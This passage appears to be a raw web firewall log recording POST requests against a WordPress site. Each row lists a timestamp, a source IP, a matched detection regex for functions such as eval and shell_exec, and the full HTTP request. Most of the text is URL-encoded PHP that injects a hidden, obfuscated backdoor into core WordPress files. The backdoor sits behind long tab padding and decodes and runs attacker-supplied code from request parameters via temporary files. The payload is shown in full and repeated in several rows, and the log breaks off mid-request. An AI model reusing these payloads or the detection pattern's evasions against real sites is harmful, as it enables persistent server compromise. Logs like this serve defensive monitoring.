\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4048\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nZC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:54:37","78.142.18.172","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-mobile:?0\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\naccept-encoding:gzip,deflate\nsec-fetch-user:?1\ncontent-length:4071\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 13:55:12","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kR:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4459\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn1VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nkR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:55:15","107.155.87.193","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> DZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/user\/contribute.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528count%2528%2524_POST%2529%2520%253E%25200%2520%2526%2526%2520isset%2528%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%2529%2529%257B%2520%2524pgrp%2520%253D%2520%2524_POST%255B%2522%255Cx66%255Cx6Cg%2522%255D%253B%2520%2524pgrp%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524pgrp%2520%2529%253B%2520%2524res%2520%253D%2520%2527%2527%253B%2520%2524s%2520%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253D%2520strlen%2528%2524s%2529%253B%2520%2524len%2520%253D%2520count%2528%2524pgrp%2529%253B%2520for%2520%2528%2524u%2520%253D%25200%253B%2520%2524u%2520%253C%2524len%253B%2520%2524u%252B%252B%2529%2520%257B%2520%2524v5%2520%253D%2520%2524pgrp%255B%2524u%255D%253B%2520%2524chS%2520%253D%2520ord%2528%2524s%255B%2524u%2520%2525%2520%2524lenS%255D%2529%253B%2520%2524dec%2520%253D%2520%2528%2528int%2529%2524v5%2520-%2520%2524chS%2520-%2520%2528%2524u%2520%2525%252010%2529%2529%2520%255E%25208%253B%2520%2524res%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%257D%2520%2524component%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520getcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520foreach%2520%2528%2524component%2520as%2520%2524element%2529%253A%2520if%2520%2528%2521%2528%2520%2521is_dir%2528%2524element%2529%2520%257C%257C%2520%2521is_writable%2528%2524element%2529%2520%2529%2529%2520%257B%2520%2524binding%2520%253D%2520%2522%2524element\/.dchunk%2522%253B%2520if%2520%2528file_put_contents%2528%2524binding%252C%2520%2524res%2529%2529%2520%257B%2520include%2520%2524binding%253B%2520%2540unlink%2528%2524binding%2529%253B%2520exit%253B%2520%257D%2520%257D%2520endforeach%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%